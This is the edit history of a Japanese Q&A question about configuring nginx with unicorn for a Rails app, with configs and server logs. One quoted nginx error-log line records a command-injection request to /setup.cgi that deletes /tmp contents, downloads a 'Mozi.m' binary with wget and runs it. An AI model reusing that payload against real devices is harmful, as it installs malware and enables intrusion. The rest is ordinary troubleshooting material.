質問編集履歴

5

gem list mysql実行結果の追記

2020/01/02 01:10

投稿

sinzanmono46
sinzanmono46

スコア6

test CHANGED
File without changes
test CHANGED
@@ -403,3 +403,7 @@
403
403
  end
404
404
 
405
405
  ```
406
+
407
+ ##gem list mysql 実行結果
408
+
409
+ mysql2 (0.5.2)

4

追記事項の記述

2020/01/02 01:09

投稿

sinzanmono46
sinzanmono46

スコア6

test CHANGED
File without changes
test CHANGED
@@ -80,11 +80,45 @@
80
80
 
81
81
  unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。
82
82
 
83
+ ##unicorn.stderr.log
84
+
85
+ I, [2020-01-01T09:49:56.012620 #4384] INFO -- : reaped #<Process::Status: pid 4475 exit 0> worker=0
86
+
87
+ I, [2020-01-01T09:49:56.012756 #4384] INFO -- : master complete
88
+
89
+ I, [2020-01-01T09:51:29.081910 #9591] INFO -- : Refreshing Gem list
90
+
91
+ I, [2020-01-01T09:51:31.224148 #9591] INFO -- : unlinking existing socket=/var/www/datingapp/shared/tmp/sockets/unicorn.sock
92
+
93
+ I, [2020-01-01T09:51:31.224805 #9591] INFO -- : listening on addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
94
+
95
+ I, [2020-01-01T09:51:31.230850 #9591] INFO -- : master process ready
96
+
97
+ I, [2020-01-01T09:51:31.238254 #9595] INFO -- : worker=0 ready
98
+
99
+ I, [2020-01-01T09:51:31.633474 #9629] INFO -- : executing ["/var/www/datingapp/shared/bundle/ruby/2.5.0/bin/unicorn", "-c", "/var/www/datingapp/current/config/unicorn.rb", "-E", "deployment", "-D", {11=>#<Kgio::UNIXServer:/var/www/datingapp/shared/tmp/sockets/unicorn.sock>}] (in /var/www/datingapp/releases/20200101095032)
100
+
101
+ I, [2020-01-01T09:51:31.633564 #9629] INFO -- : forked child re-executing...
102
+
103
+ I, [2020-01-01T09:51:31.891319 #9629] INFO -- : inherited addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
104
+
105
+ I, [2020-01-01T09:51:31.891578 #9629] INFO -- : Refreshing Gem list
106
+
107
+ I, [2020-01-01T09:51:34.148980 #9629] INFO -- : master process ready
108
+
109
+ I, [2020-01-01T09:51:34.153002 #9720] INFO -- : worker=0 ready
110
+
111
+ I, [2020-01-01T09:51:34.241907 #9591] INFO -- : reaped #<Process::Status: pid 9595 exit 0> worker=0
112
+
113
+ I, [2020-01-01T09:51:34.242007 #9591] INFO -- : master complete
114
+
115
+
116
+
83
117
 
84
118
 
85
119
  ##/etc/nginx/conf.d/rails.conf
86
120
 
87
-
121
+ ```
88
122
 
89
123
  upstream app_server {
90
124
 
@@ -142,34 +176,230 @@
142
176
 
143
177
  }
144
178
 
145
- ##unicorn.stderr.log
146
-
147
- I, [2020-01-01T09:49:56.012620 #4384] INFO -- : reaped #<Process::Status: pid 4475 exit 0> worker=0
148
-
149
- I, [2020-01-01T09:49:56.012756 #4384] INFO -- : master complete
150
-
151
- I, [2020-01-01T09:51:29.081910 #9591] INFO -- : Refreshing Gem list
152
-
153
- I, [2020-01-01T09:51:31.224148 #9591] INFO -- : unlinking existing socket=/var/www/datingapp/shared/tmp/sockets/unicorn.sock
154
-
155
- I, [2020-01-01T09:51:31.224805 #9591] INFO -- : listening on addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
156
-
157
- I, [2020-01-01T09:51:31.230850 #9591] INFO -- : master process ready
158
-
159
- I, [2020-01-01T09:51:31.238254 #9595] INFO -- : worker=0 ready
160
-
161
- I, [2020-01-01T09:51:31.633474 #9629] INFO -- : executing ["/var/www/datingapp/shared/bundle/ruby/2.5.0/bin/unicorn", "-c", "/var/www/datingapp/current/config/unicorn.rb", "-E", "deployment", "-D", {11=>#<Kgio::UNIXServer:/var/www/datingapp/shared/tmp/sockets/unicorn.sock>}] (in /var/www/datingapp/releases/20200101095032)
162
-
163
- I, [2020-01-01T09:51:31.633564 #9629] INFO -- : forked child re-executing...
164
-
165
- I, [2020-01-01T09:51:31.891319 #9629] INFO -- : inherited addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
166
-
167
- I, [2020-01-01T09:51:31.891578 #9629] INFO -- : Refreshing Gem list
168
-
169
- I, [2020-01-01T09:51:34.148980 #9629] INFO -- : master process ready
170
-
171
- I, [2020-01-01T09:51:34.153002 #9720] INFO -- : worker=0 ready
172
-
173
- I, [2020-01-01T09:51:34.241907 #9591] INFO -- : reaped #<Process::Status: pid 9595 exit 0> worker=0
174
-
175
- I, [2020-01-01T09:51:34.242007 #9591] INFO -- : master complete
179
+ ```
180
+
181
+
182
+
183
+
184
+
185
+ ##sudo nginx -t 実行結果
186
+
187
+ nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
188
+
189
+ nginx: configuration file /etc/nginx/nginx.conf test is successful
190
+
191
+
192
+
193
+ ##/etc/nginx/nginx.conf
194
+
195
+ ```
196
+
197
+ user nginx;
198
+
199
+ worker_processes auto;
200
+
201
+ error_log /var/log/nginx/error.log;
202
+
203
+ pid /var/run/nginx.pid;
204
+
205
+
206
+
207
+ include /usr/share/nginx/modules/*.conf;
208
+
209
+
210
+
211
+ events {
212
+
213
+ worker_connections 1024;
214
+
215
+ }
216
+
217
+
218
+
219
+ http {
220
+
221
+ log_format main '$remote_addr - $remote_user [$time_local] "$request" '
222
+
223
+ '$status $body_bytes_sent "$http_referer" '
224
+
225
+ '"$http_user_agent" "$http_x_forwarded_for"';
226
+
227
+
228
+
229
+ access_log /var/log/nginx/access.log main;
230
+
231
+
232
+
233
+ sendfile on;
234
+
235
+ tcp_nopush on;
236
+
237
+ tcp_nodelay on;
238
+
239
+ keepalive_timeout 65;
240
+
241
+ types_hash_max_size 2048;
242
+
243
+
244
+
245
+ include /etc/nginx/mime.types;
246
+
247
+ default_type application/octet-stream;
248
+
249
+
250
+
251
+ include /etc/nginx/conf.d/*.conf;
252
+
253
+
254
+
255
+ index index.html index.htm;
256
+
257
+
258
+
259
+ server {
260
+
261
+ listen 80 default_server;
262
+
263
+ listen [::]:80 default_server;
264
+
265
+ server_name localhost;
266
+
267
+ root /usr/share/nginx/html;
268
+
269
+
270
+
271
+ include /etc/nginx/default.d/*.conf;
272
+
273
+
274
+
275
+ location / {
276
+
277
+ }
278
+
279
+ ```
280
+
281
+
282
+
283
+ ##config/puma.rb
284
+
285
+ ```
286
+
287
+ max_threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 }
288
+
289
+ min_threads_count = ENV.fetch("RAILS_MIN_THREADS") { max_threads_count }
290
+
291
+ threads min_threads_count, max_threads_count
292
+
293
+
294
+
295
+ port ENV.fetch("PORT") { 3000 }
296
+
297
+
298
+
299
+ environment ENV.fetch("RAILS_ENV") { "development" }
300
+
301
+
302
+
303
+ pidfile ENV.fetch("PIDFILE") { "tmp/pids/server.pid" }
304
+
305
+
306
+
307
+ plugin :tmp_restart
308
+
309
+ ```
310
+
311
+ ##config.unicorn.rb
312
+
313
+ ```
314
+
315
+ app_path = File.expand_path('../../../', __FILE__)
316
+
317
+
318
+
319
+ worker_processes 1
320
+
321
+
322
+
323
+ working_directory "#{app_path}/current"
324
+
325
+
326
+
327
+ pid "#{app_path}/shared/tmp/pids/unicorn.pid"
328
+
329
+ #listen 3000
330
+
331
+ listen "#{app_path}/shared/tmp/sockets/unicorn.sock"
332
+
333
+
334
+
335
+ stderr_path "#{app_path}/shared/log/unicorn.stderr.log"
336
+
337
+
338
+
339
+ stdout_path "#{app_path}/shared/log/unicorn.stdout.log"
340
+
341
+
342
+
343
+ timeout 120
344
+
345
+
346
+
347
+ preload_app true
348
+
349
+ GC.respond_to?(:copy_on_write_friendly=) && GC.copy_on_write_friendly = true
350
+
351
+
352
+
353
+ check_client_connection false
354
+
355
+
356
+
357
+ run_once = true
358
+
359
+
360
+
361
+ before_fork do |server, worker|
362
+
363
+ defined?(ActiveRecord::Base) &&
364
+
365
+ ActiveRecord::Base.connection.disconnect!
366
+
367
+
368
+
369
+ if run_once
370
+
371
+ run_once = false # prevent from firing again
372
+
373
+ end
374
+
375
+
376
+
377
+ old_pid = "#{server.config[:pid]}.oldbin"
378
+
379
+ if File.exist?(old_pid) && server.pid != old_pid
380
+
381
+ begin
382
+
383
+ sig = (worker.nr + 1) >= server.worker_processes ? :QUIT : :TTOU
384
+
385
+ Process.kill(sig, File.read(old_pid).to_i)
386
+
387
+ rescue Errno::ENOENT, Errno::ESRCH => e
388
+
389
+ logger.error e
390
+
391
+ end
392
+
393
+ end
394
+
395
+ end
396
+
397
+
398
+
399
+ after_fork do |_server, _worker|
400
+
401
+ defined?(ActiveRecord::Base) && ActiveRecord::Base.establish_connection
402
+
403
+ end
404
+
405
+ ```

3

unicorn.stderr.logのログを追記

2020/01/02 01:01

投稿

sinzanmono46
sinzanmono46

スコア6

test CHANGED
File without changes
test CHANGED
@@ -141,3 +141,35 @@
141
141
  error_page 500 502 503 504 /500.html;
142
142
 
143
143
  }
144
+
145
+ ##unicorn.stderr.log
146
+
147
+ I, [2020-01-01T09:49:56.012620 #4384] INFO -- : reaped #<Process::Status: pid 4475 exit 0> worker=0
148
+
149
+ I, [2020-01-01T09:49:56.012756 #4384] INFO -- : master complete
150
+
151
+ I, [2020-01-01T09:51:29.081910 #9591] INFO -- : Refreshing Gem list
152
+
153
+ I, [2020-01-01T09:51:31.224148 #9591] INFO -- : unlinking existing socket=/var/www/datingapp/shared/tmp/sockets/unicorn.sock
154
+
155
+ I, [2020-01-01T09:51:31.224805 #9591] INFO -- : listening on addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
156
+
157
+ I, [2020-01-01T09:51:31.230850 #9591] INFO -- : master process ready
158
+
159
+ I, [2020-01-01T09:51:31.238254 #9595] INFO -- : worker=0 ready
160
+
161
+ I, [2020-01-01T09:51:31.633474 #9629] INFO -- : executing ["/var/www/datingapp/shared/bundle/ruby/2.5.0/bin/unicorn", "-c", "/var/www/datingapp/current/config/unicorn.rb", "-E", "deployment", "-D", {11=>#<Kgio::UNIXServer:/var/www/datingapp/shared/tmp/sockets/unicorn.sock>}] (in /var/www/datingapp/releases/20200101095032)
162
+
163
+ I, [2020-01-01T09:51:31.633564 #9629] INFO -- : forked child re-executing...
164
+
165
+ I, [2020-01-01T09:51:31.891319 #9629] INFO -- : inherited addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
166
+
167
+ I, [2020-01-01T09:51:31.891578 #9629] INFO -- : Refreshing Gem list
168
+
169
+ I, [2020-01-01T09:51:34.148980 #9629] INFO -- : master process ready
170
+
171
+ I, [2020-01-01T09:51:34.153002 #9720] INFO -- : worker=0 ready
172
+
173
+ I, [2020-01-01T09:51:34.241907 #9591] INFO -- : reaped #<Process::Status: pid 9595 exit 0> worker=0
174
+
175
+ I, [2020-01-01T09:51:34.242007 #9591] INFO -- : master complete

2

/etc/nginx/conf.d/rails.conf の記述内容を追記致しました。

2020/01/01 10:03

投稿

sinzanmono46
sinzanmono46

スコア6

test CHANGED
File without changes
test CHANGED
@@ -79,3 +79,65 @@
79
79
 
80
80
 
81
81
  unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。
82
+
83
+
84
+
85
+ ##/etc/nginx/conf.d/rails.conf
86
+
87
+
88
+
89
+ upstream app_server {
90
+
91
+ server unix:/var/www/datingapp/shared/tmp/sockets/unicorn.sock;
92
+
93
+ }
94
+
95
+
96
+
97
+ server {
98
+
99
+ listen 80;
100
+
101
+ server_name 18.176.69.6;
102
+
103
+
104
+
105
+ root /var/www/datingapp/current/public;
106
+
107
+
108
+
109
+ location ^~ /assets/ {
110
+
111
+ gzip_static on;
112
+
113
+ expires max;
114
+
115
+ add_header Cache-Control public;
116
+
117
+ root /var/www/datingapp/current/public;
118
+
119
+ }
120
+
121
+
122
+
123
+ try_files $uri/index.html $uri @unicorn;
124
+
125
+
126
+
127
+ location @unicorn {
128
+
129
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
130
+
131
+ proxy_set_header Host $http_host;
132
+
133
+ proxy_redirect off;
134
+
135
+ proxy_pass http://app_server;
136
+
137
+ }
138
+
139
+
140
+
141
+ error_page 500 502 503 504 /500.html;
142
+
143
+ }

1

nginxのエラー文を追記致しました。

2020/01/01 04:42

投稿

sinzanmono46
sinzanmono46

スコア6

test CHANGED
File without changes
test CHANGED
@@ -65,3 +65,17 @@
65
65
  server_nameの後に記述するIPアドレスに問題はありませんでした。
66
66
 
67
67
  恐れ入りますが、是非ご教授の程、宜しくお願い申し上げます。
68
+
69
+
70
+
71
+ ##追記事項
72
+
73
+ nginxのログでは以下のエラー文が出ておりました。
74
+
75
+ **/var/log/nginx/error.log**
76
+
77
+ 2019/12/31 07:36:25 [error] 2790#0: *5 open() "/usr/share/nginx/html/setup.cgi" failed (2: No such file or directory), client: 223.149.4.237, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0"
78
+
79
+
80
+
81
+ unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。